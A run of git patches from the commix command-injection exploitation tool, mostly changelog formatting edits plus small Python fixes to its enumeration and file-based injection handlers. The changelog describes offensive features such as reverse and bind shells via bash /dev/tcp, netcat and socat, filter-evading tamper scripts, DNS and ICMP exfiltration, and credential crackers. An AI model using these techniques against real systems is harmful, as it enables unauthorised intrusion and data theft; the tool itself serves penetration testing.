`--list-tampers` for listing available tamper scripts. * Revised: Minor improvement regarding resolving target hostname. * Added: Support for "Ncat" on "reverse_tcp" and "bind_tcp" shell options. -* Added: Support for "Bash" (via /dev/tcp) on "reverse_tcp" shell option. -* Added: Support for "Netcat-Openbsd" (nc without -e) on "reverse_tcp" and "bind_tcp" shell options. +* Added: Support for "Bash" (via `/dev/tcp`) on "reverse_tcp" shell option. +* Added: Support for "Netcat-Openbsd" (i.e. nc without -e) on "reverse_tcp" and "bind_tcp" shell options. * Added: Support for "Socat" on "reverse_tcp" and "bind_tcp" shell options. * Revised: Minor improvement regarding counting the total of HTTP(S) requests, for the identified injection point(s) during the detection phase. * Fixed: Minor bug-fix regarding providing the target host's root directory. * Added: New tamper script "sleep2timeout.py" that uses "timeout" function for time-based attacks. -* Added: New tamper script "sleep2usleep.py" that replaces "sleep" with "usleep" command in the time-related generated payloads. +* Added: New tamper script "sleep2usleep.py" that replaces `sleep` with `usleep` command in the time-related generated payloads. * Replaced: The `--purge-output` option has been replaced with `--purge` option. * Fixed: Minor bug-fix regarding performing injections through cookie parameters. * Revised: Minor improvement regarding ignoring the Google Analytics cookie in all scanning attempts. @@ -238,10 +241,10 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: Support regarding checking for potential CAPTCHA protection mechanism. * Revised: The separators list, has been shortly revised. * Revised: Minor improvement regarding the extracted HTTP response headers. -* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads (for *nix targets). -* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g User-Agent, Referer, Host etc). -* Fixed: Major bug-fixes regarding testing time-related ("time-based"/"tempfile-based") payloads. -* Added: New tamper script "backslashes.py" that adds back slashes (\) between the characters of the generated payloads (for *nix targets). +* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads (for \*nix targets). +* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g. User-Agent, Referer, Host etc). +* Fixed: Major bug-fixes regarding testing time-related payloads (i.e. "time-based", "tempfile-based"). +* Added: New tamper script "backslashes.py" that adds back slashes (`\`) between the characters of the generated payloads (for \*nix targets). * Fixed: Minor bug-fix regarding unicode decode exception error due to invalid codec, during connection on target host. * Revised: Improvement regarding combining tamper script "multiplespaces.py" with other space-related tamper script(s). * Added: New tamper script "multiplespaces.py" that adds multiple spaces around OS commands. @@ -254,8 +257,8 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Updated: Colorama (third party) module has been updated. * Revised: Minor improvement regarding keeping the git folder 'clean' (via @g0tmi1k). * Fixed: Minor bug-fix regarding loading multiple tamper scripts (during the exploitation phase). -* Added: New tamper script "caret.py" that adds the caret symbol (^) between the characters of the generated payloads (for windows targets). -* Added: New tamper script "singlequotes.py" that adds single quotes (') between the characters of the generated payloads (for *nix targets). +* Added: New tamper script "caret.py" that adds the caret symbol (`^`) between the characters of the generated payloads (for windows targets). +* Added: New tamper script "singlequotes.py" that adds single quotes (`'`) between the characters of the generated payloads (for \*nix targets). _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.3-20180307...v2.4-20180521)._ @@ -282,9 +285,9 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Fixed: Minor bug-fix regarding cookie-based command injections. * Revised: Minor improvement regarding option `-p` for bypassing the dependence on value of `--level` (in case of user-defined HTTP headers). * Revised: Minor improvement regarding option `-p` for testing user-defined HTTP headers. -* Added: New option `--failed-tries` for setting a number of failed injection tries, in file-based technique. +* Added: New option `--failed-tries` for setting a number of failed injection tries, in semiblind (i.e. "file-based") technique. * Revised: Minor improvement regarding session handler. -* Revised: Minor improvement regarding checking stored time-related ("time-based"/"tempfile-based") payloads. +* Revised: Minor improvement regarding checking stored time-related payloads (i.e. "time-based", "tempfile-based"). * Revised: Minor improvement regarding Python version check (no more crashes on Python >= "3" and < "2.6"). * Revised: Minor improvement in "updater", for checking commit hash number. * Added: New option `--skip` regarding excluding certain parameter(s) from testing. @@ -293,15 +296,15 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.1-20171003...v2.2-20171212)._ ## Version 2.1 (2017-10-03) -* Added: New option `--header` for providing a single extra HTTP header (e.g. 'X-Forwarded-For: 127.0.0.1'). +* Added: New option `--header` for providing a single extra HTTP header (e.g. `X-Forwarded-For: 127.0.0.1`). * Added: New option `--check-internet` that checks internet connection before assessing the target. -* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e Cookie, User-Agent, Referer). +* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e. Cookie, User-Agent, Referer). * Revised: Minor improvement regarding checking stored payloads and enabling appropriate tamper scripts during the exploitation phase. -* Added: New tamper script "space2vtab.py" that replaces every space ("%20") with vertical tab ("%0b") (for Windows targets). +* Added: New tamper script "space2vtab.py" that replaces every space (`%20`) with vertical tab (`%0b`) (for Windows targets). * Replaced: The tamper script "space2tab.py" has been replaced with "space2htab.py". -* Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET / POST). -* Added: New option `--backticks` that uses backticks instead of "$()", for commands substitution. -* Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the "/bin" standard subdirectory. +* Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET, POST). +* Added: New option `--backticks` that uses backticks instead of `$()`, for commands substitution. +* Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the `/bin` standard subdirectory. * Added: New option `--disable-coloring` that disables console output coloring. * Added: New option `--check-tor` that checks if Tor is used properly. * Fixed: Minor improvement for fetching random HTTP User-Agent header in initial request, when `--random-agent` is used. @@ -315,7 +318,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor improvement for automatically increasing default `--time-sec` value when `--tor` used. * Fixed: Minor improvement for not re-testing Tor SOCKS proxy settings (in case of multiple targets). * Revised: Multiple minor eye-candy revisions have been performed. -* Fixed: Major improvement regarding not sending requests with GET mothod in case of POST method, in injection levels 2, 3. +* Fixed: Major improvement regarding not sending requests with GET HTTP mothod in case of POST HTTP method, in injection levels 2, 3. * Updated: The `--sys-info` option has been enriched with distribution description and release information. * Revised: Minor improvement in dynamic code evaluation, regarding the users extraction payload. * Fixed: Minor fix regarding not raising the detection phase in the case of 4xx and/or 5xx HTTP error codes. @@ -329,13 +332,13 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 1.9 (2017-05-02) * Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay. -* Revised: The time-related ("time-based"/"tempfile-based") payloads, have been shortly revised. -* Revised: Minor improvement in file-based technique, for delaying the OS responses depending on the user-supplied time delay. -* Fixed: Minor improvement in file-based technique, regarding τhe directory path that the output file is saved. +* Revised: The time-related payloads (i.e. "time-based", "tempfile-based"), have been shortly revised. +* Revised: Minor improvement in semiblind (i.e. "file-based") technique, for delaying the OS responses depending on the user-supplied time delay. +* Fixed: Minor improvement in semiblind (i.e. "file-based") technique, regarding τhe directory path that the output file is saved. * Added: New option `--ignore-redirects` that ignoring redirection attempts. * Added: New functionality for identifying and following URL redirections. -* Fixed: Minor improvement for adding "/" at the end of the user provided root dir (in case it does not exist). -* Revised: The file-based payload for deleting files with execution output, has been shortly revised. +* Fixed: Minor improvement for adding `/` at the end of the user provided root dir (in case it does not exist). +* Revised: The semiblind (i.e. "file-based") payload for deleting files with execution output, has been shortly revised. * Replaced: The `--root-dir` option has been replaced with `--web-root` option. * Added: New option `--wizard` that shows a simple wizard interface for beginner users. @@ -349,8 +352,8 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Replaced: The `--delay` option has been replaced with `--time-sec` option. * Fixed: Minor improvement regarding gnureadline module for better support on MacOS X hosts. * Added: New option `--charset` that forces character encoding used for data retrieval. -* Added: New prefix ("'%26") and suffix ("%26'") have been added. -* Fixed: Removal of unnecessary command substitution in semiblind ("file-based") technique. +* Added: New prefix (`'%26`) and suffix (`%26'`) have been added. +* Fixed: Removal of unnecessary command substitution in semiblind technique (i.e. "file-based"). * Updated: The Unicorn tool has been updated to version 2.4.2. * Added: Support for the Regsvr32.exe Application Whitelisting Bypass technique. * Fixed: Minor improvement for checking for established TCP connections. @@ -367,16 +370,16 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Fixed: Minor improvement regarding automated scan level increasing. * Fixed: Improvement regarding skipping the testing of problematic URL(s) and proceeding with next ones (in case of scanning multiple targets). * Fixed: Improvement regarding printing current assessment state in case of user abortion. -* Revised: Minor improvement for proceeding with semiblind ("file-based") technique, once the user provides the path of web server's root directory. +* Revised: Minor improvement for proceeding with semiblind technique (i.e. "file-based"), once the user provides the path of web server's root directory. * Fixed: Minor fix regarding the lack of http/s to the user-defined URL(s). * Added: New option `--skip-empty` for skipping the testing of the parameter(s) with empty value(s). * Fixed: Improvement regarding testing the parameter(s) with empty value(s). -* Added: New CGI shellscript path "/cgi-bin/cgiCmdNotify" (vulnerable to shellshock) has been added. +* Added: New CGI shellscript path `/cgi-bin/cgiCmdNotify` (vulnerable to shellshock) has been added. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.6-20161228...v1.7-20170203)._ ## Version 1.6 (2016-12-28) -* Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the ":" exists. +* Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the `":"` exists. * Fixed: Minor fix regarding empty value(s) in provided parameter(s). * Added: New option `--batch` that never asks for user input (using the default behaviour). * Added: New option `-x` for parsing target(s) from remote sitemap(.xml) file. @@ -386,8 +389,8 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: New option `-r` for loading HTTP request from a file. * Fixed: Improvement regarding the response time estimimation, in which the target URL was requested without its POST data. * Added: New option `-m` for scanning multiple targets given in a textual file. -* Fixed: Minor fix regarding the newline display in dynamic code evaluation ("eval-based") and semiblind ("file-based") technique. -* Revised: The dynamic code evaluation ("eval-based") payloads have been shortly revised. +* Fixed: Minor fix regarding the newline display in dynamic code evaluation (i.e. "eval-based") and semiblind technique (i.e. "file-based"). +* Revised: The dynamic code evaluation (i.e. "eval-based") payloads have been shortly revised. * Added: The executed command and the execution results output has been added to log file. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.5-20161117...v1.6-20161228)._ @@ -395,7 +398,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 1.5 (2016-11-17) * Fixed: Minor improvement in the "ICMP exfiltration" module. * Fixed: Minor improvement for choosing default value when pressing enter. -* Added: New tamper script "hexencode.py" that encodes the payload to hex format. +* Added: New tamper script "hexencode.py" that encodes the payload to `Hex` format. * Fixed: Minor improvements in executed commands history. * Added: New verbosity level (4) for printing the HTTP response page content. * Added: New option `-t` for logging all HTTP traffic into a textual file. @@ -434,20 +437,20 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: The ability for setting custom (PHP / Python) working directory. * Fixed: License file minor inaccurancy issue has been fixed. * Revised: The Windows-based payloads for every supported technique, had been shortly revised. -* Revised: The dynamic code evaluation ("eval-based") technique has been shortly revised. -* Added: New tamper script "space2tab.py" that replaces every space ("%20") with horizontal tab ("%09"). +* Revised: The dynamic code evaluation technique (i.e. "eval-based") has been shortly revised. +* Added: New tamper script "space2tab.py" that replaces every space (`%20`) with horizontal tab (`%09`). * Added: The ability for generating powershell attack vectors via TrustedSec's Magic Unicorn. * Added: The ability for checking if there is a new version available. -* Added: The ability for target application extension recognition (i.e PHP, ASP etc). -* Fixed: Minor improvement for finding the URL part (i.e scheme:[//host[:port]][/]path). -* Fixed: Minor fix for conflicted shells (i.e regular, alternative) from session file. +* Added: The ability for target application extension recognition (i.e. PHP, ASP etc). +* Fixed: Minor improvement for finding the URL part (i.e. scheme:[//host[:port]][/]path). +* Fixed: Minor fix for conflicted shells (i.e. regular, alternative) from session file. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.1-20160714...v1.2-20160812)._ ## Version 1.1 (2016-07-14) * Added: The ".gitignore" file has been added. * Added: Support for injections against ASP.NET applications. -* Added: Support for warning detection regarding "create_function()" function. +* Added: Support for warning detection regarding `create_function()` function. * Fixed: Minor improvent of the HTTP server for `--file-upload` option. * Fixed: Minor fix for conflicted executed commands from session file in HTTP Headers. * Added: The ability to store injection level into session files for current target. @@ -468,26 +471,26 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 0.9b (2016-06-07) * Added: The ability to re-perform the injection request if it has failed. -* Fixed: The shell output in semiblind ("file-based") technique has been fixed not to concat new lines. +* Fixed: The shell output in semiblind technique (i.e. "file-based") has been fixed not to concat new lines. * Revised: The ability to execute multiple tamper scripts combined or the one after the other. -* Added: New tamper script "space2plus.py" that replaces every space ("%20") with plus ("+"). +* Added: New tamper script "space2plus.py" that replaces every space (`%20`) with plus (`+`). * Added: New state ("checking") and the color of that state has been setted. * Replaced: The `--base64` option has been replaced with "base64encode.py" tamper script. -* Added: New tamper script "space2ifs.py" that replaces every space ("%20") with $IFS (bash) variable. +* Added: New tamper script "space2ifs.py" that replaces every space (`%20`) with `$IFS` (bash) variable. * Added: New option `--tamper` that supports tamper injection scripts. * Added: Support for verbosity levels (currently supported levels: 0,1). * Fixed: Minor rearrangement of prefixes and separators has been implemented. -* Revised: The "time-based" (blind) technique for *nix targets has been shortly revised. -* Revised: The source code has been revised to support "print_state_msg" (i.e error, warning, success etc) functions. +* Revised: The "time-based" (blind) technique for \*nix targets has been shortly revised. +* Revised: The source code has been revised to support `print_state_msg` (i.e. error, warning, success etc) functions. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.8b-20160506...v0.9b-20160607)._ ## Version 0.8b (2016-05-06) -* Fixed: The `--file-read` option to ignore the carriage return ("\r") character in a text file. -* Added: The ability to check for empty value(s) in the defined GET/POST/Cookie(s) data and skip. -* Replaced: The "INJECT_HERE" tag has been replaced with the `*` (asterisk) wildcard character. +* Fixed: The `--file-read` option to ignore the carriage return (`\r`) character in a text file. +* Added: The ability to check for empty value(s) in the defined GET, POST, `Cookie` data and skip. +* Replaced: The `INJECT_HERE` tag has been replaced with the `*` (asterisk) wildcard character. * Added: New option `--level` (1-3) that specifies level of tests to perform. -* Added: New option `-p` that specifies a comma-separated list of GET/POST parameter. +* Added: New option `-p` that specifies a comma-separated list of GET and POST parameter. * Added: The ability to check every parameter in the provided cookie data. * Added: The ability to check every GET parameter in the defined URL and/or every POST provided data. * Added: New option `--all` that enables all supported enumeration options. @@ -495,20 +498,20 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.7b-20160418...v0.8b-20160506)._ ## Version 0.7b (2016-04-18) -* Fixed: HTTP proxy logs parser to accept GET http requests. +* Fixed: HTTP proxy logs parser to accept GET HTTP requests. * Fixed: HTTP proxy logs parser to recognise provided HTTP authentication credentials. -* Added: Support for verbose mode in HTTP authentication (Basic / Digest) dictionary-based cracker. +* Added: Support for verbose mode in HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Added: The ability to store valid (Digest) credentials into session files for current target. -* Added: Dictionary-based cracker for "Digest" HTTP authentication credentials. -* Added: Support for "Digest" HTTP authentication type. +* Added: Dictionary-based cracker for `Digest` HTTP authentication credentials. +* Added: Support for `Digest` HTTP authentication type. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.6b-20160401...v0.7b-20160418)._ ## Version 0.6b (2016-04-01) -* Added: The ability to store valid (Basic) credentials into session files for current target. +* Added: The ability to store valid (`Basic`) credentials into session files for current target. * Added: New option `--ignore-401` that ignores HTTP Error 401 (Unauthorized) and continues tests without providing valid credentials. -* Added: Dictionary-based cracker for "Basic" HTTP authentication credentials. -* Added: Identifier for HTTP authentication type (currently only "Basic" type is supported). +* Added: Dictionary-based cracker for `Basic` HTTP authentication credentials. +* Added: Identifier for HTTP authentication type (currently only `Basic` type is supported). * Added: New option `--skip-waf` that skips heuristic detection of WAF/IPS/IDS protection. * Added: Support for verbose mode in the "DNS exfiltration" injection technique (module). * Added: New option `--dns-server` that supports the "DNS exfiltration" injection technique (module). @@ -517,7 +520,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.5b-20160316...v0.6b-20160401)._ ## Version 0.5b (2016-03-16) -* Fixed: The payload(s) for dynamic code evaluation ("eval-based"), if there is not any separator. +* Fixed: The payload(s) for dynamic code evaluation (i.e. "eval-based"), if there is not any separator. * Added: Support for verbose mode in the "ICMP exfiltration" injection technique (module). * Added: Check if the user-defined os name, is different than the one identified by heuristics. * Added: New option `--os` that forces a user-defined os name. @@ -544,53 +547,53 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 0.3b (2016-01-15) * Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests. -* Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e Burp or WebScarab). +* Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e. Burp or WebScarab). * Added: Check if Powershell is enabled in target host, if the applied option's payload is requiring the use of PowerShell. * Added: New option `--ps-version`, that checks PowerShell's version number. * Replaced: Some powershell-based payloads, have been replaced by new (more solid) ones, so to avoid "Microsoft-IIS" server's incompatibilities. * Added: Support (in MacOSX platforms) for a tab completion in shell options. -* Added: Undocumented parameter "-InputFormat none" so to avoid "Microsoft-IIS" server's hang. +* Added: Undocumented parameter `-InputFormat none` so to avoid "Microsoft-IIS" server's hang. * Added: Ability for identification of "Microsoft-IIS" servers. -* Added: Statistical checks for time-related ("time-based"/"tempfile-based") techniques. +* Added: Statistical checks for time-related techniques (i.e. "time-based", "tempfile-based"). * Added: Support for Windows-based (cmd / powershell) payloads for every injection technique. ## Version 0.2b (2015-12-18) * Added: Support for recalling previous commands. * Added: Support (in Linux platforms) for tab completion in shell options. -* Added: Support for alternative (Python) os-shell in dynamic code evaluation ("eval-based") technique. +* Added: Support for alternative (Python) os-shell in dynamic code evaluation technique (i.e. "eval-based"). * Added: Support for PHP/Python meterpreter on "reverse_tcp" shell option. * Added: The "reverse_tcp" shell option. * Added: The ability to check for default root directories (Apache/Nginx). -* Added: Support for removal of (txt) shell files in semiblind ("file-based"/"tempfile-based") techniques. -* Added: Support for JSON POST data. +* Added: Support for removal of (txt) shell files in semiblind techniques (i.e. "file-based", "tempfile-based"). +* Added: Support for `JSON POST` data. * Added: The "enumeration" and "file-read" results to log file. * Added: The ability to get the user's approval before re-{enumerate/file-read} target. * Added: The ability to stop current injection technique and proceed on the next one(s). ## Version 0.1b (2015-09-20) -* Added: New eval-based payload for "str_replace()" filter bypass. +* Added: New eval-based payload for `str_replace()` filter bypass. * Added: Check for (GET) RESTful URL format. -* Added: New option `--base64`, that encodes the OS command to Base64 format. -* Added: Support for regular "preg_replace()" injections via "/e" modifier. +* Added: New option `--base64`, that encodes the OS command to `Base64` format. +* Added: Support for regular `preg_replace()` injections via `/e` modifier. * Added: Support for HTML Charset and HTTP "Server" response-header reconnaissance (on verbose mode). -* Replaced: Payloads for "tempfile-based" (semiblind) technique, have been replaced by new (more solid) ones. -* Added: A "new-line" separator support, for "time-based" (blind) & "tempfile-based" (semiblind) techniques. +* Replaced: Payloads for semiblind (i.e. "tempfile-based") technique, have been replaced by new (more solid) ones. +* Added: A "new-line" separator support, for blind (i.e. "time-based") and semiblind (i.e. "tempfile-based") techniques. * Added: Support for Referer HTTP header command injections. * Added: Support for User-Agent HTTP header command injections. -* Added: CVE-2014-6278 support for "shellshock" module. +* Added: [CVE-2014-6278](https://nvd.nist.gov/vuln/detail/CVE-2014-6278) support for "shellshock" module. * Added: Support for cookie-based command injections. * Added: A generic false-positive prevention technique. -* Removed: The "Base64" detection option. +* Removed: The `Base64` detection option. * Added: Support for the Tor network. -* Added: The "shellshock" (CVE-2014-6271) injection technique (module). +* Added: The "shellshock" [CVE-2014-6271](https://nvd.nist.gov/vuln/detail/cve-2014-6271) injection technique (module). * Added: Termcolor support for Windows (colorama). * Added: File access options. * Added: Enumeration options. * Added: New option `--alter-shell` that supports an alternative option for os-shell (e.g. Python). * Added: New option `--icmp-exfil` that supports the "ICMP exfiltration" injection technique (module). -* Added: The "tempfile-based" (semiblind) technique. -* Added: The "file-based" (semiblind) technique. -* Removed: The "boolean-based" (blind) technique. +* Added: The semiblind (i.e. "tempfile-based") technique. +* Added: The semiblind (i.e. "file-based") technique. +* Removed: The blind (i.e. “boolean-based”) technique. * Added: More Options. ## Version 0.1a (2014-12-20) From 3faaa4224d5a38804408c347cb8e3abe98e1f8bd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 7 Nov 2023 07:41:45 +0200 Subject: [PATCH 353/560] Fixes https://github.com/commixproject/commix/issues/865 --- .../injections/blind/techniques/time_based/tb_enumeration.py | 2 ++ .../results_based/techniques/classic/cb_enumeration.py | 2 ++ .../results_based/techniques/eval_based/eb_enumeration.py | 2 ++ .../semiblind/techniques/file_based/fb_enumeration.py | 2 ++ .../semiblind/techniques/tempfile_based/tfb_enumeration.py | 2 ++ src/utils/settings.py | 2 +- 6 files changed, 11 insertions(+), 1 deletion(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 52f610d253..867e8dae3f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -105,6 +105,8 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output + else: + target_arch = None checks.print_os_info(target_os, target_arch, filename, _) """ diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 413f16e9d5..7784d6d607 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -132,6 +132,8 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + else: + target_arch = None checks.print_os_info(target_os, target_arch, filename, _) """ diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 49632df412..a2cddc4b86 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -130,6 +130,8 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + else: + target_arch = None checks.print_os_info(target_os, target_arch, filename, _) """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 7f03135077..9984a745f9 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -116,6 +116,8 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + else: + target_arch = None checks.print_os_info(target_os, target_arch, filename, _) """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index dbc1cef04b..213c1aa453 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -106,6 +106,8 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output + else: + target_arch = None checks.print_os_info(target_os, target_arch, filename, _) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 2de72c29b4..d07cd2d9c9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3892308cc4a7fdb08ef71817e1e5ab2b741bfca1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 9 Nov 2023 09:13:02 +0200 Subject: [PATCH 354/560] Typo fix --- doc/CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index dee9dbff1d..fa1be55dd3 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -334,7 +334,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay. * Revised: The time-related payloads (i.e. "time-based", "tempfile-based"), have been shortly revised. * Revised: Minor improvement in semiblind (i.e. "file-based") technique, for delaying the OS responses depending on the user-supplied time delay. -* Fixed: Minor improvement in semiblind (i.e. "file-based") technique, regarding τhe directory path that the output file is saved. +* Fixed: Minor improvement in semiblind (i.e. "file-based") technique, regarding the directory path that the output file is saved. * Added: New option `--ignore-redirects` that ignoring redirection attempts. * Added: New functionality for identifying and following URL redirections. * Fixed: Minor improvement for adding `/` at the end of the user provided root dir (in case it does not exist). From 652f1253f9eee96890e181c7b45c648d32ac7f9d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 10 Nov 2023 08:22:00 +0200 Subject: [PATCH 355/560] Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown. --- doc/CHANGELOG.md | 1 + .../techniques/file_based/fb_handler.py | 19 +++++++++++++++---- .../techniques/file_based/fb_injector.py | 12 +++++++----- .../techniques/file_based/fb_payloads.py | 6 ++++-- src/core/requests/headers.py | 4 ++-- src/utils/settings.py | 4 +++- 6 files changed, 32 insertions(+), 14 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index fa1be55dd3..3efc2816f4 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Revised: Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown. * Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). * Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 934c44a2ce..10a77afd14 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -22,6 +22,8 @@ from src.utils import logs from src.utils import settings from src.utils import session_handler +from src.core.requests import tor +from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters @@ -317,14 +319,23 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r time.sleep(timesec) try: - # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) + headers.check_http_traffic(request) + # Check if defined any HTTP Proxy (--proxy option). + if menu.options.proxy or menu.options.ignore_proxy: + response = proxy.use_proxy(request) + # Check if defined Tor (--tor option). + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - # Evaluate test results. - output = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - html_data = output.read() + if type(response) is bool: + html_data = "" + else: + html_data = checks.page_encoding(response, action="decode") shell = re.findall(r"" + TAG + "", str(html_data)) if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 5b4ee4c82a..6e815bd87e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -285,15 +285,18 @@ def custom_web_root(url, OUTPUT_TEXTFILE): settings.RECHECK_FILE_FOR_EXTRACTION = True while True: message = "Do you want to use URL '" + output - message += "' as command execution output? [Y/n] > " + message += "' for command execution output? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.DEFINED_WEBROOT = output break elif procced_option in settings.CHOICE_NO: - output = custom_web_root(url, OUTPUT_TEXTFILE) + message = "Please enter URL to use " + message += "for command execution output: > " + message = common.read_input(message, default=output, check_batch=True) + output = settings.DEFINED_WEBROOT = message info_msg = "Using '" + output - info_msg += "' as command execution output." + info_msg += "' for command execution output." print(settings.print_info_msg(info_msg)) if not settings.DEFINED_WEBROOT: pass @@ -310,7 +313,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): output = settings.DEFINED_WEBROOT if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution output." + debug_msg = "Checking URL '" + output + "' for command execution output." print(settings.print_debug_msg(debug_msg)) return output @@ -324,7 +327,6 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) - headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy or 